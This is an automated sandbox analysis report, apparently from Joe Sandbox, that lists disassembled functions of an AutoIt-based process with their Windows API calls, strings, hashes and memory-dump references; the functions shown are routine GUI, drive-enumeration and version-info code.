API ID: Window$Create$MessageSend$ObjectRect$Stock$AdjustCapsClientDeleteDestroyDeviceFaceFontInfoParametersSelectShowSystemText
String ID: AutoIt v3$DISPLAY$msctls_progress32$static
API String ID: 2910397461-517079104
Opcode ID: 34beed7c8ec2ff587b869b27f01cd4c00bb6d215b14ab54757955542d85a91ef
Instruction ID: 34f2d823a68d3d98c643dbcad7de6ab6cd8ee843315ee03d6c9c02e3fb497359
Opcode Fuzzy Hash: 34beed7c8ec2ff587b869b27f01cd4c00bb6d215b14ab54757955542d85a91ef
Instruction Fuzzy Hash: C1A160B1A00619BFEB14DB64DC8AFBE7BA9EB44710F004214FA15A72E0DB70AD04DF64

Function 00F5B353 Relevance: 45.7, APIs: 3, Strings: 23, Instructions: 186COMMON

Download Yara Rule

APIs

SetErrorMode.KERNEL32(00000001), ref: 00F5B361
GetDriveTypeW.KERNEL32(?,00F82C4C,?,\\.\,00F80980), ref: 00F5B43E
SetErrorMode.KERNEL32(00000000,00F82C4C,?,\\.\,00F80980), ref: 00F5B59C

Strings

PhysicalDrive, xrefs: 00F5B3EA
MMC, xrefs: 00F5B55D
RAMDisk, xrefs: 00F5B468
Virtual, xrefs: 00F5B564
Fibre, xrefs: 00F5B52C
SSD, xrefs: 00F5B4C9
Fixed, xrefs: 00F5B486
FileBackedVirtual, xrefs: 00F5B56B
Network, xrefs: 00F5B47C
iSCSI, xrefs: 00F5B541
USB, xrefs: 00F5B533
SCSI, xrefs: 00F5B509
ATA, xrefs: 00F5B517
SATA, xrefs: 00F5B54F
SAS, xrefs: 00F5B548
Unknown, xrefs: 00F5B45E, 00F5B502
1394, xrefs: 00F5B51E
\\.\, xrefs: 00F5B3B3
ATAPI, xrefs: 00F5B510
Removable, xrefs: 00F5B490
SSA, xrefs: 00F5B525
RAID, xrefs: 00F5B53A
CDROM, xrefs: 00F5B472

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: ErrorMode$DriveType
String ID: 1394$ATA$ATAPI$CDROM$Fibre$FileBackedVirtual$Fixed$MMC$Network$PhysicalDrive$RAID$RAMDisk$Removable$SAS$SATA$SCSI$SSA$SSD$USB$Unknown$Virtual$\\.\$iSCSI
API String ID: 2907320926-4222207086
Opcode ID: 12c0501794d38170d60ca63408fb7b90417ea0beaa70108c80de8da90a43a34b
Instruction ID: d7876b72197381c317da4d5578b39ceb95435a675b189dd38a81068c8d3578b3
Opcode Fuzzy Hash: 12c0501794d38170d60ca63408fb7b90417ea0beaa70108c80de8da90a43a34b
Instruction Fuzzy Hash: 5E51D471B4020DEBC714DF20CD42ABD77A0AB45392F284015FE06A7692E775EE89FB52

Function 00F7A041 Relevance: 42.5, APIs: 23, Strings: 1, Instructions: 455windowCOMMON

Download Yara Rule

APIs

SetWindowPos.USER32(00000000,00000000,00000000,00000000,00000000,00000000,00000103,?,?,?), ref: 00F7A0F7
SendMessageW.USER32(?,0000113F,00000000,00000008), ref: 00F7A1B0
SendMessageW.USER32(?,00001102,00000002,?), ref: 00F7A1CC

Strings

0, xrefs: 00F7A209

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: MessageSend$Window
String ID: 0
API String ID: 2326795674-4108050209
Opcode ID: 133d3314bb867439dabe3c18aa67257a8dca2e4025bc85f2055830fd1ec325f4
Instruction ID: 542eee46934c30e00eac8206a2a63dbb5d8d3f775431062dd3578b1ab704e441
Opcode Fuzzy Hash: 133d3314bb867439dabe3c18aa67257a8dca2e4025bc85f2055830fd1ec325f4
Instruction Fuzzy Hash: 1D02DA31508200AFEB15CF14C848BAEBBE5FF85324F09851AF999962A1CB75D854EF53

Function 00F7AF18 Relevance: 39.2, APIs: 26, Instructions: 201windowCOMMON

Download Yara Rule

APIs

GetSysColor.USER32(00000012), ref: 00F7AF51
SetTextColor.GDI32(?,?), ref: 00F7AF55
GetSysColorBrush.USER32(0000000F), ref: 00F7AF6B
GetSysColor.USER32(0000000F), ref: 00F7AF76
CreateSolidBrush.GDI32(?), ref: 00F7AF7B
GetSysColor.USER32(00000011), ref: 00F7AF93
CreatePen.GDI32(00000000,00000001,00743C00), ref: 00F7AFA1
SelectObject.GDI32(?,00000000), ref: 00F7AFB2
SetBkColor.GDI32(?,00000000), ref: 00F7AFBB
SelectObject.GDI32(?,?), ref: 00F7AFC8
InflateRect.USER32(?,000000FF,000000FF), ref: 00F7AFE7
RoundRect.GDI32(?,?,?,?,?,00000005,00000005), ref: 00F7AFFE
GetWindowLongW.USER32(00000000,000000F0), ref: 00F7B013
SendMessageW.USER32(00000000,0000000E,00000000,00000000), ref: 00F7B05F
GetWindowTextW.USER32(00000000,00000000,00000001), ref: 00F7B086
InflateRect.USER32(?,000000FD,000000FD), ref: 00F7B0A4
DrawFocusRect.USER32(?,?), ref: 00F7B0AF
GetSysColor.USER32(00000011), ref: 00F7B0BD
SetTextColor.GDI32(?,00000000), ref: 00F7B0C5
DrawTextW.USER32(?,00000000,000000FF,?,?), ref: 00F7B0D9
SelectObject.GDI32(?,00F7AC1F), ref: 00F7B0F0
DeleteObject.GDI32(?), ref: 00F7B0FB
SelectObject.GDI32(?,?), ref: 00F7B101
DeleteObject.GDI32(?), ref: 00F7B106
SetTextColor.GDI32(?,?), ref: 00F7B10C
SetBkColor.GDI32(?,?), ref: 00F7B116

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Color$Object$Text$RectSelect$BrushCreateDeleteDrawInflateWindow$FocusLongMessageRoundSendSolid
String ID:
API String ID: 1996641542-0
Opcode ID: 18c8281dc56947c1de183952ac86222da2586824d67c9ef384089dae9285d0ab
Instruction ID: f5b64808da691ca393300e7cd1156097113134895701b0c64b887e2bc0e08887
Opcode Fuzzy Hash: 18c8281dc56947c1de183952ac86222da2586824d67c9ef384089dae9285d0ab
Instruction Fuzzy Hash: 42617B72D00218AFDF119FA4DC48EEE7B79EF08320F118116F919AB2A1DB759944EF90

Function 00F78FFA Relevance: 38.9, APIs: 21, Strings: 1, Instructions: 401windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,00000158,000000FF,0000014E), ref: 00F790EA
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00F790FB
CharNextW.USER32(0000014E), ref: 00F7912A
SendMessageW.USER32(?,0000014B,00000000,00000000), ref: 00F7916B
SendMessageW.USER32(?,00000158,000000FF,00000158), ref: 00F79181
SendMessageW.USER32(?,0000014E,00000000,00000000), ref: 00F79192
SendMessageW.USER32(?,000000C2,00000001,0000014E), ref: 00F791AF
SetWindowTextW.USER32(?,0000014E), ref: 00F791FB
SendMessageW.USER32(?,000000B1,000F4240,000F423F), ref: 00F79211
SendMessageW.USER32(?,00001002,00000000,?), ref: 00F79242
_memset.LIBCMT ref: 00F79267
SendMessageW.USER32(00000000,00001060,00000001,00000004), ref: 00F792B0
_memset.LIBCMT ref: 00F7930F
SendMessageW.USER32(?,00001053,000000FF,?), ref: 00F79339
SendMessageW.USER32(?,00001074,?,00000001), ref: 00F79391
SendMessageW.USER32(?,0000133D,?,?), ref: 00F7943E
InvalidateRect.USER32(?,00000000,00000001), ref: 00F79460
GetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00F794AA
SetMenuItemInfoW.USER32(?,?,00000000,00000030), ref: 00F794D7
DrawMenuBar.USER32(?), ref: 00F794E6
SetWindowTextW.USER32(?,0000014E), ref: 00F7950E

Strings

0, xrefs: 00F79478

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: MessageSend$Menu$InfoItemTextWindow_memset$CharDrawInvalidateNextRect
String ID: 0
API String ID: 1073566785-4108050209
Opcode ID: 16a01449e6a62f6d82cbaa1ebd3fbc55e54aafe16fd56210e7e623516b10e1c9
Instruction ID: a92cb7be2ad9a92d0547c5c006ecde39e4dbf3666936f8bc1936d285a38c4394
Opcode Fuzzy Hash: 16a01449e6a62f6d82cbaa1ebd3fbc55e54aafe16fd56210e7e623516b10e1c9
Instruction Fuzzy Hash: 67E1A371904218AFDF11DF60CC84EFE7BB8EF05720F14815AF919AA191DBB48A85EF52

Function 00F74ECC Relevance: 37.0, APIs: 18, Strings: 3, Instructions: 290windowCOMMON

Download Yara Rule

APIs

GetCursorPos.USER32(?), ref: 00F75007
GetDesktopWindow.USER32 ref: 00F7501C
GetWindowRect.USER32(00000000), ref: 00F75023
GetWindowLongW.USER32(?,000000F0), ref: 00F75085
DestroyWindow.USER32(?), ref: 00F750B1
CreateWindowExW.USER32(00000008,tooltips_class32,00000000,00000003,80000000,80000000,80000000,80000000,00000000,00000000,00000000,00000000), ref: 00F750DA
SendMessageW.USER32(00000000,00000432,00000000,00000030), ref: 00F750F8
SendMessageW.USER32(?,00000439,00000000,00000030), ref: 00F7511E
SendMessageW.USER32(?,00000421,?,?), ref: 00F75133
SendMessageW.USER32(?,0000041D,00000000,00000000), ref: 00F75146
IsWindowVisible.USER32(?), ref: 00F75166
SendMessageW.USER32(?,00000412,00000000,D8F0D8F0), ref: 00F75181
SendMessageW.USER32(?,00000411,00000001,00000030), ref: 00F75195
GetWindowRect.USER32(?,?), ref: 00F751AD
MonitorFromPoint.USER32(?,?,00000002), ref: 00F751D3
GetMonitorInfoW.USER32(00000000,?), ref: 00F751ED
CopyRect.USER32(?,?), ref: 00F75204
SendMessageW.USER32(?,00000412,00000000), ref: 00F7526F

Strings

0, xrefs: 00F74FB2
(, xrefs: 00F751E0
tooltips_class32, xrefs: 00F750D3

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: MessageSendWindow$Rect$Monitor$CopyCreateCursorDesktopDestroyFromInfoLongPointVisible
String ID: ($0$tooltips_class32
API String ID: 698492251-4156429822
Opcode ID: e5d7d8cb68b655617f126e87e00d96474755767ec0a12fc8a684223f776be79a
Instruction ID: c9914310cc6b826266502c2d4f026b8931af579fc84779281e5b4ab16e5a1648
Opcode Fuzzy Hash: e5d7d8cb68b655617f126e87e00d96474755767ec0a12fc8a684223f776be79a
Instruction Fuzzy Hash: F2B17B71604741AFDB44DF64C844B6BBBE4BF88710F008A1DF59DAB291DBB1E805DB92

Function 00F5498A Relevance: 36.9, APIs: 16, Strings: 5, Instructions: 179COMMON

Download Yara Rule

APIs

GetFileVersionInfoSizeW.VERSION(?,?), ref: 00F5499C
GetFileVersionInfoW.VERSION(?,00000000,00000000,00000000,?,?), ref: 00F549C2
_wcscpy.LIBCMT ref: 00F549F0
_wcscmp.LIBCMT ref: 00F549FB
_wcscat.LIBCMT ref: 00F54A11
_wcsstr.LIBCMT ref: 00F54A1C
VerQueryValueW.VERSION(?,\VarFileInfo\Translation,?,?,?,?,?,?,00000000,?,?), ref: 00F54A38
_wcscat.LIBCMT ref: 00F54A81
_wcscat.LIBCMT ref: 00F54A88
_wcsncpy.LIBCMT ref: 00F54AB3

Strings

04090000, xrefs: 00F54A6E
\VarFileInfo\Translation, xrefs: 00F54A30
StringFileInfo\, xrefs: 00F54A0B
%u.%u.%u.%u, xrefs: 00F54B16
DefaultLangCodepage, xrefs: 00F54A9B

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: _wcscat$FileInfoVersion$QuerySizeValue_wcscmp_wcscpy_wcsncpy_wcsstr
String ID: %u.%u.%u.%u$04090000$DefaultLangCodepage$StringFileInfo\$\VarFileInfo\Translation
API String ID: 699586101-1459072770
Opcode ID: 8d01c07d9e77b71c6eea1c77101c0c69425497a5372f5627c554f80fefa12cd0
Instruction ID: d0a2296d0b6ea3293c0cb169acdc5969a80fad9e34b98aa56167f4fba826567f
Opcode Fuzzy Hash: 8d01c07d9e77b71c6eea1c77101c0c69425497a5372f5627c554f80fefa12cd0
Instruction Fuzzy Hash: FE410B72A042047AD751BB608C47EFF776CDF45720F000059FE04A6193EB38EA9577A6

Function 00EF2BA9 Relevance: 33.5, APIs: 18, Strings: 1, Instructions: 286windowtimeCOMMON

Download Yara Rule

APIs

SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00EF2C8C
GetSystemMetrics.USER32(00000007), ref: 00EF2C94
SystemParametersInfoW.USER32(00000030,00000000,000000FF,00000000), ref: 00EF2CBF
GetSystemMetrics.USER32(00000008), ref: 00EF2CC7
GetSystemMetrics.USER32(00000004), ref: 00EF2CEC
SetRect.USER32(000000FF,00000000,00000000,000000FF,000000FF), ref: 00EF2D09
AdjustWindowRectEx.USER32(000000FF,?,00000000,?), ref: 00EF2D19
CreateWindowExW.USER32(?,AutoIt v3 GUI,?,?,?,000000FF,000000FF,000000FF,?,00000000,00000000), ref: 00EF2D4C
SetWindowLongW.USER32(00000000,000000EB,00000000), ref: 00EF2D60
GetClientRect.USER32(00000000,000000FF), ref: 00EF2D7E
GetStockObject.GDI32(00000011), ref: 00EF2D9A
SendMessageW.USER32(00000000,00000030,00000000), ref: 00EF2DA5

Part of subcall function 00EF2714: GetCursorPos.USER32(?), ref: 00EF2727
Part of subcall function 00EF2714: ScreenToClient.USER32(00FB77B0,?), ref: 00EF2744
Part of subcall function 00EF2714: GetAsyncKeyState.USER32(00000001), ref: 00EF2769
Part of subcall function 00EF2714: GetAsyncKeyState.USER32(00000002), ref: 00EF2777

SetTimer.USER32(00000000,00000000,00000028,00EF13C7), ref: 00EF2DCC

Strings

AutoIt v3 GUI, xrefs: 00EF2D44

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: System$MetricsRectWindow$AsyncClientInfoParametersState$AdjustCreateCursorLongMessageObjectScreenSendStockTimer
String ID: AutoIt v3 GUI
API String ID: 1458621304-248962490
Opcode ID: 244c25d81e97d7d31e2d132dfd9eeb75c5a02a4bc7421c80c046ceaf5d99d764
Instruction ID: 0d405f5cd1f7c510b798c9e90da78453e41d3ff23cd48791e42beaea8edc1535
Opcode Fuzzy Hash: 244c25d81e97d7d31e2d132dfd9eeb75c5a02a4bc7421c80c046ceaf5d99d764
Instruction Fuzzy Hash: FDB13D75A0020E9FDB14DFA8DC95BFE77A4FB48314F204219FA15A6290DB74A850DF54

Function 00F10429 Relevance: 30.1, APIs: 8, Strings: 9, Instructions: 349COMMON

Download Yara Rule

APIs

Part of subcall function 00F01821: _memmove.LIBCMT ref: 00F0185B

GetForegroundWindow.USER32(00F80980,?,?,?,?,?), ref: 00F104E3
IsWindow.USER32(?), ref: 00F466BB

Strings

HANDLE, xrefs: 00F4649E
INSTANCE, xrefs: 00F465FA
ACTIVE, xrefs: 00F46488
REGEXPCLASS, xrefs: 00F46506
TITLE, xrefs: 00F46650
REGEXPTITLE, xrefs: 00F464B4
CLASS, xrefs: 00F464E5
LAST, xrefs: 00F46472
ALL, xrefs: 00F46622

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Window$Foreground_memmove
String ID: ACTIVE$ALL$CLASS$HANDLE$INSTANCE$LAST$REGEXPCLASS$REGEXPTITLE$TITLE
API String ID: 3828923867-1919597938
Opcode ID: 58ff781370d2ee06e3771d67709eb9dcf1c8c8f6b6d195c5ade0909ae4adbc7f
Instruction ID: 934b3da8c1bc886e7fe18f26c5037a904950581ccfc8181b5073a242676456ea
Opcode Fuzzy Hash: 58ff781370d2ee06e3771d67709eb9dcf1c8c8f6b6d195c5ade0909ae4adbc7f
Instruction Fuzzy Hash: 03D1D471504202DBCB04EF20C8819EABFB5BF56354F144A19F855872A2DF34F999FB92

Function 00F7441F Relevance: 28.3, APIs: 3, Strings: 13, Instructions: 283windowCOMMON

Download Yara Rule

APIs

CharUpperBuffW.USER32(?,?), ref: 00F744AC
SendMessageW.USER32(?,00001032,00000000,00000000), ref: 00F7456C

Strings

SELECTALL, xrefs: 00F745D3
ISSELECTED, xrefs: 00F74577
GETSELECTED, xrefs: 00F7469A
GETITEMCOUNT, xrefs: 00F744DE
GETSUBITEMCOUNT, xrefs: 00F744F7
VIEWCHANGE, xrefs: 00F7472B
GETTEXT, xrefs: 00F74515
SELECTINVERT, xrefs: 00F7463C
SELECTCLEAR, xrefs: 00F745EB
FINDITEM, xrefs: 00F746DF
GETSELECTEDCOUNT, xrefs: 00F7454F
SELECT, xrefs: 00F74606
DESELECT, xrefs: 00F7465A

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: BuffCharMessageSendUpper
String ID: DESELECT$FINDITEM$GETITEMCOUNT$GETSELECTED$GETSELECTEDCOUNT$GETSUBITEMCOUNT$GETTEXT$ISSELECTED$SELECT$SELECTALL$SELECTCLEAR$SELECTINVERT$VIEWCHANGE
API String ID: 3974292440-719923060
Opcode ID: 84d8957a1452376548fd1cdf3dca10400d891d6ca9ddb42a8bac7f5be6480732
Instruction ID: 6be9e919a0488bedda2e05ebb33a928135af881b112d488eca91100cf68ff750
Opcode Fuzzy Hash: 84d8957a1452376548fd1cdf3dca10400d891d6ca9ddb42a8bac7f5be6480732
Instruction Fuzzy Hash: C4A17C716042059FCB14EF20C851A7AB7E5BF89310F148929F99A9B2D2DF74FC05EB92

Function 00F656C8 Relevance: 27.1, APIs: 18, Instructions: 124COMMON

Download Yara Rule

APIs

LoadCursorW.USER32(00000000,00007F89), ref: 00F656E1
LoadCursorW.USER32(00000000,00007F8A), ref: 00F656EC
LoadCursorW.USER32(00000000,00007F00), ref: 00F656F7
LoadCursorW.USER32(00000000,00007F03), ref: 00F65702
LoadCursorW.USER32(00000000,00007F8B), ref: 00F6570D
LoadCursorW.USER32(00000000,00007F01), ref: 00F65718
LoadCursorW.USER32(00000000,00007F81), ref: 00F65723
LoadCursorW.USER32(00000000,00007F88), ref: 00F6572E
LoadCursorW.USER32(00000000,00007F80), ref: 00F65739
LoadCursorW.USER32(00000000,00007F86), ref: 00F65744
LoadCursorW.USER32(00000000,00007F83), ref: 00F6574F
LoadCursorW.USER32(00000000,00007F85), ref: 00F6575A
LoadCursorW.USER32(00000000,00007F82), ref: 00F65765
LoadCursorW.USER32(00000000,00007F84), ref: 00F65770
LoadCursorW.USER32(00000000,00007F04), ref: 00F6577B
LoadCursorW.USER32(00000000,00007F02), ref: 00F65786
GetCursorInfo.USER32(?), ref: 00F65796
GetLastError.KERNEL32(00000001,00000000), ref: 00F657C1

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: Cursor$Load$ErrorInfoLast
String ID:
API String ID: 3215588206-0
Opcode ID: e1929cc94165accb5f5e58942d756ed0079e4fcb78c1c69a54989d53f402811d
Instruction ID: db2ee52697d0378564ae816ceaefe7350f9aaec1dd72def43a342fe1a364b1e7
Opcode Fuzzy Hash: e1929cc94165accb5f5e58942d756ed0079e4fcb78c1c69a54989d53f402811d
Instruction Fuzzy Hash: E9415270E04319AADB109FBA8C49D6EFEF8EF51B20F10452FE509E7290DAB8A400DE51

Function 00F4B13A Relevance: 26.5, APIs: 14, Strings: 1, Instructions: 273windowtimeCOMMON

Download Yara Rule

APIs

GetClassNameW.USER32(?,?,00000100), ref: 00F4B17B
__swprintf.LIBCMT ref: 00F4B21C
_wcscmp.LIBCMT ref: 00F4B22F
SendMessageTimeoutW.USER32(?,?,00000101,00000000,00000002,00001388,?), ref: 00F4B284
_wcscmp.LIBCMT ref: 00F4B2C0
GetClassNameW.USER32(?,?,00000400), ref: 00F4B2F7
GetDlgCtrlID.USER32(?), ref: 00F4B349
GetWindowRect.USER32(?,?), ref: 00F4B37F
GetParent.USER32(?), ref: 00F4B39D
ScreenToClient.USER32(00000000), ref: 00F4B3A4
GetClassNameW.USER32(?,?,00000100), ref: 00F4B41E
_wcscmp.LIBCMT ref: 00F4B432
GetWindowTextW.USER32(?,?,00000400), ref: 00F4B458
_wcscmp.LIBCMT ref: 00F4B46C

Part of subcall function 00F1385C: _iswctype.LIBCMT ref: 00F13864

Strings

%s%u, xrefs: 00F4B216

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002697933.0000000000FB9000.00000002.00000001.01000000.00000006.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_ef0000_Organizational.jbxd

Similarity

API ID: _wcscmp$ClassName$Window$ClientCtrlMessageParentRectScreenSendTextTimeout__swprintf_iswctype
String ID: %s%u
API String ID: 3744389584-679674701
Opcode ID: 5b88a1be253a586a56650abf25db1eee47607df2ee91b3982361345775bb7a8b
Instruction ID: 116198b68c23ecca1a1327f79997f9c8a66203d5609cdcbf6636c9c42bfa2ad2
Opcode Fuzzy Hash: 5b88a1be253a586a56650abf25db1eee47607df2ee91b3982361345775bb7a8b
Instruction Fuzzy Hash: D7A1F271604306AFD714DF64C884BEABBE8FF48324F104619FD99C21A2DB34E959EB90

Function 00F4BA6D Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 249COMMON

Download Yara Rule

APIs

GetClassNameW.USER32(00000008,?,00000400), ref: 00F4BAB1
_wcscmp.LIBCMT ref: 00F4BAC2
GetWindowTextW.USER32(00000001,?,00000400), ref: 00F4BAEA
CharUpperBuffW.USER32(?,00000000), ref: 00F4BB07
_wcscmp.LIBCMT ref: 00F4BB25
_wcsstr.LIBCMT ref: 00F4BB36
GetClassNameW.USER32(00000018,?,00000400), ref: 00F4BB6E
_wcscmp.LIBCMT ref: 00F4BB7E
GetWindowTextW.USER32(00000002,?,00000400), ref: 00F4BBA5
GetClassNameW.USER32(00000018,?,00000400), ref: 00F4BBEE
_wcscmp.LIBCMT ref: 00F4BBFE
GetClassNameW.USER32(00000010,?,00000400), ref: 00F4BC26
GetWindowRect.USER32(00000004,?), ref: 00F4BC8F

Strings

ThumbnailClass, xrefs: 00F4BB79, 00F4BBF9
@, xrefs: 00F4BA92

Memory Dump Source

Source File: 0000000B.00000002.4002484163.0000000000EF1000.00000020.00000001.01000000.00000006.sdmp, Offset: 00EF0000, based on PE: true

Associated: 0000000B.00000002.4002458922.0000000000EF0000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000F80000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002597016.0000000000FA6000.00000002.00000001.01000000.00000006.sdmpDownload File
Associated: 0000000B.00000002.4002665793.0000000000FB0000.00000004.00000001.01000000.00000006.sdmpDownload File
